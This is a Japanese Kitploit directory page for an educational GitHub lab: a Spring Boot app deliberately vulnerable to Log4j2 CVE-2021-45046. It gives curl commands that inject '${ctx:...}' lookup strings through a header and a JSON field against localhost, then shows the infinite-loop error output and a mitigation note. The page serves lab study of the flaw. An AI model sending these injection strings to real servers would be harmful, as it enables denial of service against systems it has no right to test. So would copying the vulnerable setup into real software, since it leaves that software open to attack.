Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
log4j2-CVE-2021-45046 — Log4j2 CVE-2021-45046 に脆弱な Spring Boot Web アプリケーションのサンプルです。教育目的のセキュリティテストのために、JNDI インジェクションと無限ループの悪用を示しています。 | Kitploit
ツール/GitHubGitHub/pravin-pp/log4j2-cve-2021-45046
脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育ラボと実践
GitHubpravin-pp/log4j2-cve-2021-45046

log4j2-CVE-2021-45046

Log4j2 CVE-2021-45046 に脆弱な Spring Boot Web アプリケーションのサンプルです。教育目的のセキュリティテストのために、JNDI インジェクションと無限ループの悪用を示しています。

リポジトリを見る
24年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

サンプル Log4j2 脆弱性アプリケーション (CVE-2021-45046)

影響を受けるバージョン: 2.0-beta9 から 2.15.0 までの全バージョン

このアプリケーションは、CVE-2021-45046 に対して脆弱な Spring Boot Web アプリケーションをベースとしています。

Log4j 2.14.1 を使用しています (spring-boot-starter-log4j2 2.6.1 経由)。

アプリケーションの実行

実行方法:

root@kitploit:~
Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

攻撃手順

  • 次に、以下のようにしてエクスプロイトをトリガーします:
root@kitploit:~
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${ctx:apiVersion}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${ctx:clientRef}"
}'
  • 出力に無限ループが表示されることに注意してください。ただし、テストではこの DOS がリソースを消費するものではないことが判明しました。この無限ループはプログラムによって識別されエラーになります:
root@kitploit:~

${ctx:clientRef}2021-12-15 19:27:50,212 http-nio-8080-exec-1 ERROR An exception occurred processing Appender LogToConsole java.lang.IllegalStateException: Infinite loop in property interpolation of  ${ctx:clientRef}: ctx:clientRef
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	

緩和策 :

  • Log4j 2.16.0 は、removing support for message lookup patterns and disabling JNDI functionality by default ことでこの問題を修正しています。
ツールをダウンロード